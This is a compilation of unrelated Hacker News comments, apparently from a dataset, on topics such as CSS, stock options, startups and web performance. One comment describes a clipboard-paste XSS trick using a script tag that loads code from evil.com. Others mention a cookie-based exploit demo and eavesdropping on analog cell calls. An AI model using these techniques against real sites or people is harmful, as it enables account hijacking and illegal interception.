skysight-inc/HackerNews huggingface dataset:
So, unfortunately, I made the decision to use Sass/Compass for my CSS before I started using Bootstrap, and when I saw that they used Less I considered switching over, but it doesn't have as many features as Compass - like icon spriting. I could complement Less with other tools but I decided to stick with Compass for now. It's actually still pretty straightforward to customize the color schemes without the Less variables.

(Pro tip: I often look at Bootstrap's uncompressed Less CSS to figure out how to customize in the simplest way.)
I don't think the particular clickjacking attack you suggest would work - you cannot read document.location on an iframe if that iframe has a different origin.

However, a variant of the later attack you describe would work. You could get the user to click on a flash app on your page, which copies <script src="http://evil.com/script.js /> to your clipboard, then "click on the box below and press ctrl-v, then enter.". The box below would of course be the one on the XSSable page, and when the user hit enter, it would submit the form and load up the second page, XSSing the user.

This sounds far-fetched, but I've seen successful attacks like this in the wild.
Excellent read, thanks for sharing.
Why would you rather work for free than bid on projects you personally find interesting on freelancing sites like odesk.com? Just curious...
I think the glass that I'm looking at is really quite full. ;)

Not if you feel every relationship that doesn't contain your atypical definition of "care" is not worth having. Sounds narrow-minded to me.

I could write about how providing someone pleasure can be a form of care. But we'll leave it here and agree to disagree =)
French sonnets must recpect the following two rules:

- rhymes are abba abba ccd eed

- lines must be Alexandrine

This last rules implies a lot of things :

- each lines must be exactly 12 syllabes

- the caesura (either between the sixth and seventh syllabes (for two hemistiches lines), or between the forth and fifth and between the eighth and nineth (for three parts lines)) must respect a lot of rules which makes it pleasant to read (for instance, the syllabe just before it cannot be feminine (roughly, it means it should not end with a 'e', but it's a lot more complex than that))

- rhyme genre must alternate (either a and d and feminine and b, c and e are masculine or the reverse)

- maybe some other nasty things I don't recall right now.
It was a flat reject first, then an interview rejection, then another flat reject. I wasn't actually the one who applied the first time though.

About your statement, I don't know. I can't waste my time thinking about that though. I'm really excited about what I'm working on right now and I've learned a ton in the last few years. Going for it is all that matters to me now.

I will be applying again next round though :)
No, those assets will be freed up to go to more productive ventures.
Cool! I'll look into the CSRF bug. EDIT: Using a vulnerability in another demo page definitely is cheating. But I do like the hack.

To be clear, "oh well this is an XSS but it doesn't matter" is not something I ever said. I only ever said that most of the screenshots in the article don't by themselves demonstrate a vulnerability on Apple's web sites.

EDIT 2: There was another demo on my server that let you set arbitrary cookies. This exploit relied on setting the JSESSIONID cookie. If a similar exploit existed on Apple's web site, presumably this would defeat the purpose of the exploit, since the target user would no longer be authenticated as him/herself. I changed the cookie demo not to allow arbitrary cookie names, just to prevent it interfering with other demos.
I completely agree that business can be more than just commerce. I actually love my current gig for that very reason. I would love it if companies that value local commerce and community responsibility could co-opt our typical idea of business back into something bigger.

But language tends to go the way of our cultural stories, and the question here is, which narrative about business is dominant -- the narrative of disconnected douchey 1-percenters or the more benevolent narrative put out there by companies like American Apparel?

Unfortunately, it would seem that the former is what our society tends to associate with 'business' and 'branding', and companies like American Apparel (assuming you, er, buy into their whole story of championing local industry) haven't turned that tide. Maybe someday. For now, imo, Mad Men still rule the day.
A Proper Solution To The Linux ASPM Problem
It's a play on OpenCV.
Cichlid Care
Add in salary and benefits for dedicated operations staff, cost of geographic redundancy (duplicate hardware, duplicate colo, travel costs and/or local staff), periodic hardware upgrades, network infrastructure, logistical problems, shipping delays...

A friend of mine is currently an operations manager at a company with thousands of physical servers. This is a guy who has spent most of his career in and around datacenters. He's convinced that it's no longer worth whatever "savings" might be seen in owning the hardware, the surrounding and sometimes hidden costs are just too high.

Basically, he's already past the point where letting specialists deal with the hardware/provisioning is well worth the cost.
Because I see many-many stupid or boring projects on freelancing sites. It's really hard to find a worthy one. And even when I found it, it's not guaranteed my bid (even free) will win.

And I don't mind helping people for free, and building something great. So why not?
Gnome mockups
I totally agree. Thanks for sharing.
SEO Networker 3.0 Free Videos
You can also set your bottom or basement price. So you don't let your item go for a price your not comfortable selling it for.
I wonder about that since I invariably get one legible word in reCAPTCHA, and one junk word. Not just illegible or non-OCR-able, but actually nonsense strings of letters, e.g. "umower", "dealiff", "etstcom". My theory is that the source OCR is incorrectly breaking up words, so some words get split into multiple parts. And reCAPTCHA is useless for that.
There's an app in the App Store called "Fake Call" that does exactly that. It shows a perfectly mocked-up phone call animation, complete with contact photo and custom ringtone.
See. I'm torn. I know it's illegal, but if you present the information about the list to a company (without logging in to the accounts), and they don't take action, what do you do?

I suppose you could email all of the people on the list, but how effective would that be?
Dissed by Logitech, Google TV Soldiers On
> The combination of low-cost data center infrastructure and rapidly evolving, free or nearly free open-source development tools means that tech startups can get going cheap, and if things don’t work out, move on to other things, Bechtolsheim said today at the GigaOM RoadMap Conference.

How is this news? Anyone in the startup space already knows about AWS and open-source.

Thanks, Andy Bechtolsheim, for confirming what many of us have already known for a long time.
The Vanity Fair staffer, Jaime Lalinde, who made up the sidebar quiz, misinterpreted Kahneman's point through the lens of political correctness: Stereotypes (even about engineers) Are Wrong!
I see US military people on IRC sometimes. They're around, but I agree, not much.
This is why: the value of the options at the time of the grant is very different than at the time of the firing. You are accepting very risky options in return for a small amount of cash with the hope that it will be worth something much greater later, and the knowledge that it may be worth zero or less, if you include the strike price and taxes.

To come in after the fact, and decide that the upside was too much is to retroactively change the value of the options at the time of the grant, making them worth less than the agreed upon amount.

Yes, there is a detail in the agreement that the employer can fire you whenever he wants and retain unvested options, but the reason that is there is so that people who fail at their jobs do not continue to collect equity beyond their usefulness, not to greedily claw back money from employees who are fulfilling their agreed upon duties. Hiding behind that clause to justify this behavior is reprehensible.

There is a BIG difference between saying "Johhny, it's just not working out, please take the options you've earned and move along. You're not needed anymore."

and

"Johnny, we like you, but we didn't think you'd make this much money, so we kinda wish we hadn't given you as many options. Please give them back or we will forced to fire you as permitted by clause 3.2D in the agreement."
>Because of this unstated (and absurd) assumption, Jeff's critique fails to address most of Michael's points - whether you agree with those points or not.

Michael only had two points: web programming sucks, and web programmers suck. Jeff dismissed the latter in favor of tackling the former, and I think he did rather well. I could see designers— instead of paying $500 for Photoshop— pay $15/mo to use an online editing service that stores and backs up their photos for them (or syncs with Dropbox). I could see programmers paying a monthly fee to use an online IDE that builds and runs their software against an array of OSes and supports GitHub/Bitbucket. Users are already throwing their music to "the cloud" with services like Grooveshark and Pandora. These are the kind of things Jeff was talking about: as the web becomes more popular, and the cost of processing power and storage continues to fall, many things we consider too heavy for the web will start to leak in.

At least, that was my take on it.
What demographic is this trying to reach?
Development infrastructure on a shoestring budget
Hi Ivan, thanks for your response.

Incidentally I just ran into https://twitter.com/RentARep - while seemingly rap-oriented they seem to be entering the market that you are envisioning.
I don't think Steve Jobs' having this type of reality distortion field was as special as his ability to see them through.

In fact, for many founders, the reality distortion field is what hurts them. They think so far ahead about all that they can do. And yet, they fail at executing--I would argue in big part because of their reality distortion field.
Node.js Now Runs Natively on Windows
Caterpillar Stage of Butterfly Life Cycle Not from Hybridization with Worm
I just think that is an incredibly naive view of options, they are actually an incentive to prevent you from quitting while still giving the employer the normal amount of power to decide if you should be fired. If you are counting unvested stock as part of your current "in the bank" compensation then you are completely mistaken.

If it was actually what you are claiming it to be, then it should just be stock vesting at every pay period or just be stock or partial ownership that is granted up front. And yet that isn't how any RSUs work, because that isn't what they are.

Stocks and RSUs or options are not the same thing at all, and to act like they are the same is just crazy.

Edit: To be clear, it's perfectly possible that Zynga did something immoral here. They probably did, but that immoral thing was claiming that stock options are the same as stock, not using stock options exactly how they are intended to be used. I feel like you are just opening yourself up to being lied to exactly the same if you continue thinking that stock options or RSUs are anywhere near as good as actual stock.

You are only opening up future people by arguing the line of argument that you are, because other people will read it and think the reason why this happened is because Zynga was immoral, not because this is a normal risk that is by design part of stock options. You need to evaluate the chance that you are actually going to get stock in addition to the expected value of the stock if you do get it. Only evaluating the latter will give you a false sense of their value.
I thought the same, but wouldn't say it was the recruiting realm per se. More that an American would be more familiar with 'resumé' and might not instantly realise CV has another meaning elsewhere.

There's no way I could get used to CV not being 'curriculum vitae'.
Why Gmail's new design is unsuitable for heavy use
300bps modem handshakes were much less elaborate than their successors.
Ash HN: what is this?
Fancy new features have been hurting performance since the beginning. Nobody notices it because new, faster hardware makes it a non-issue.

For example, in 1998 I could browse the web perfectly fine on a 100 Mhz Pentium with 32 Mb of RAM. If new features didn't hurt performance then I would still be able to browse the web perfectly fine on a 100 Mhz Pentium today.

box-shadow is just a specific example. In five years even the crappiest smart phone will have enough CPU/GPU power to display box-shadows without any noticeable slow down.
My thinking was also along the lines of procrastination vs. discipline, though love of the activity may or may not be correlated strongly.

What it may come down to is simply strength of self-discipline. What separates the achievers from the middle-of-the-roaders is self-control. The classic "marshmallow experiment"[1] would seem to bear this out.

[1]A famous longitudinal, social-psychology experiment in which children were offered a marshmallow (or a cookie, depending on which study), and told that if they didn't eat it, they could receive a second marshmallow in five minutes. Then they were left alone for five minutes. Most children ate the marshmallow. The ones who didn't -- who waited it out and resisted temptation -- were also the ones who grew up to be more successful, earn higher incomes, and perform higher on tests of intelligence.
Why Creating a Google+ Page is Just Like Registering 50 Domains
In my experience (in the US), CV is usually used in Academia (what papers you have published, research you have done) and resume is used in industry settings.
Tomorrow will be 11/12/11 again. Just like in 1911.
According to the Corpus of Historical American English, 1911 was right in the middle of the transition from to-day to today, with to-day having 95% market share in 1890, 80% in 1900, 70% in 1910, 30% in 1920, 20% in 1930, and 5% in 1940: http://corpus.byu.edu/coha/?c=coha&q=12896286

(Can't use Google n-grams on this one, because its punctuation-stripping makes it impossible to distinguish to-day from to day.)
Lovely use of our spam scoring API (http://spamcheck.postmarkapp.com). What are you using for processing inbound email?
I did something similar to this. I found that if I held down the talk button on a walkie-talkie and crossed its antenna with that of a portable TV, I was able to tune into analog cellular calls. I would adjust the frequency on the (analog, nondiscrete) TV tuner to listen to different calls.
I'm not seeing it...
Microsoft approves WinMo 7 rooting app
Fedora 16 Isn’t Totally Ruthless – Just Needs Some Love and Understanding
To the knowledgeable it's no surprise at all (although I'm glad to realise my own project's juddery scrolling is probably down to gratuitous border radius and box shadow usage now).

To those who aren't knowledgeable and design websites without really digging into optimising javascript performance and all that, they might never have come across the concept of a 'simple website' in a browser having an impact on performace. To these people it's just a page of text and images, not a game or something typically known to require good hardware.
Changing the World with Open Data
EC2 has a tier thats free for a year. So does Heroku if you're using a language/framework they support. I believe PHP fog does as well.
Spot the 'bayes killing' spam :)
Really interesting. I could see an argument being made there. I think the bigger thing is that douche is relatively disconnected with women. It's not as direct as, for instance, calling someone a "pussy", which is more directly negative toward females.
The offer sounds suspiciously similar to this one: http://teddziuba.com/2011/07/the-craigslist-reverse-programm...

If you are real, could you tell us more about your background and where you are located? Links to your Facebook/Twitter/LinkedIn/blog/etc would help.

Do you do anything besides Ruby/Rails?
Do I get works-for-hire ownership of the IP you create? Can I put you under NDA? What recourse do I have if you walk off with my source tree?

Demand curves slope downward, but people (yes, in many cases wrongly) distrust 'free' as a bid amount.

Update: For the record, I really like the tone of your offer, and the way in which you presented it. I hope you soon get to work on something really fun!
there are a surprising number of racial epithets for the same concept (or perhaps not so surprising). "welsh" comes to mind too, though i was in my 20s when i realised it had racist origins and was not just a homonym.
> This is why: the value of the options at the time of the grant is very different than at the time of the firing.

The options are worth $0 until they vest, so at the time of hiring and firing they are still worth $0. They are a promise of future compensation, just like salary, and just like salary you don't receive it if you don't work there anymore. If it was actually a decision of accepting the risk of the stock being valueless, then the compensation would be stock instead of options.

> Yes, there is a detail in the agreement that the employer can fire you whenever he wants and retain unvested options

No, that is the clause as written, not some sort of sneaky backdoor that they snuck in, it is the very definition of these stock options. The clause doesn't say "if you are fired for gross negligence or incompetence..." it says "If you are not employed here on date X, then you get nothing".

> There is a BIG difference between saying "Johhny, it's just not working out, please take the options you've earned and move along. You're not needed anymore."

You have earned nothing until they vest! That is the entire point of the structure of these options. If they were actually anything like what you are describing, they would just be monthly stock grants. If you work somewhere for 6 months you don't get half of the grant that you get after 1 year, you get nothing. It is explicitly not proportional in the contract.

> "Johnny, we like you, but we didn't think you'd make this much money, so we kinda wish we hadn't given you as many options. Please give them back or we will forced to fire you as permitted by clause 3.2D in the agreement."

How is this different from "Johnny, we like you, but we don't think you are worth the $200k salary that we foolishly offered you before. We aren't going to continue paying you such a high salary, so you can either accept the lower salary that we think you deserve or we will fire you"? Both are retracting an offer for future compensation for future work. Or do you think that would also be immoral?
A lot of commerce/ad startups (Amazon influence?) and a lot of LeadGen stuff (AllStarDirectories influence and several key investors up here seem to like that style of business). Plenty of B2B.

There's a fair bit of gaming DNA here (Valve, BigFish, PopCap) but strangely few gaming startups (there are a few). Lots of mobile stuff (notably Swype).

I'd say it's pretty all-over-the-map.
Just contribute to an open source project you find interesting.
We're using Assistly for our support site and they've had a number of outages in the last few days.

Auto deployment is something we're working on improving but right now you can use auto copy[1], which bases new instance detection on the hostname, our auto deploy script[2] or our API[3] to add devices automatically.

[1] http://support.serverdensity.com/customer/portal/articles/72...

[2] http://support.serverdensity.com/customer/portal/articles/72...

[3] http://developer.serverdensity.com/docs
Android’s New Face Unlock Feature Can Be Fooled With A Photo
Thankful villages
great work, Jim! excited to see where this will take you
I'm located at Minsk, Belarus. It's almost Russia.
http://goshakkk.name/
http://twitter.com/goshakkk

I can also do very-very basic node.js dev, but Rails is my primary tool.
It's not so easy to find that project...
I am not sure what their incentives would be. Certain, they don't want the labels as businesses, which can only shrink.

Their back catalogues have value, but Apple could just license them ad hoc.
"it's accessible to anyone used to Windows, with a bit of tweaking."

What? Have you tried handing a laptop running Unity to someone used to Windows 7 and asking them to complete a few tasks?

I wish Ubuntu well. Wouldn't a customised GUI stack including Wayland and Unity be great? BUT like Windows it isn't!
I can't find any reference to a Baron Schlep having ever existed, leading me to suspect (along with the fact that he only had twelve dollars, and what sounds like a suspiciously made-up sort of name) that he may have been a fake Baron all along.
> So you're no longer arguing that the government forced banks and mortgage companies to lend?

Not at all.

The govt actions to make subprime profitable merely meant that there wasn't as much reason to say "i'm not sure that this makes sense".
In my experience, that only works with a not very large percentage of the population. Others will ignore you as if you had said nothing until you're actually rude, which will create a bad atmosphere.
PopTech popcasts (TED-style videos about technology)
For the Form Name section either darken the text or change the selection color.

Add another Export button at the bottom and make it a bit brighter. Alternatively, fixed positioning would work.

overall: Nice tool, nice UI, good idea, poor color scheme.
about work-related topics

What about other topics?
I think you're all missing the point. Its purpose is not to be a commentary on/solution for programmer archetypes, it's just a technological proof of concept. A concept which uses said archetype as an example use case.
Part 2: http://www.youtube.com/watch?v=zkUf3V7XjMU
Be more social. Meet more people. Join clubs. Go to some parties. Not study so much. Be less serious. Take more risks. Join some intramural activities.

Basically everything I didn't do during college that I probably should have.
Thanks. I've got a google apps email setup to collect the email address, and config'd gmail to disable the spam filtering. A cron runs on the minute, connects via IMAP, processes the message and on success fires it back & deletes the mail message.
What is the subset of these services that are (1) competitively defensible and (2) viable?

To be defensible, a major label should hold a significant competitive advantage in providing the service.

For instance, distribution and sales has been locked up by major labels for a long time because they have the infrastructure and relationships to strike deals with major retailers.

But direct-to-fan isn't defensible and websites aren't defensible.

To be viable, the service should matter 5-10 years from now.

For instance, video promotion is likely to be relevant for many years; it's expensive to produce an excellent music video and channels like Youtube mean they continue to matter.

Terrestrial and satellite radio promotion on the other hand is going to be irrelevant in 5 years.
fix that extra "low priority" a11y bug in your queue. Missing/incorrrect a11y text or event is nothing to you, and an un-detourable pothole for the person relying on it.
People who like innovation, tech & startups gathering to talk innovation, tech & startups.

In meatspace.

Over beverages.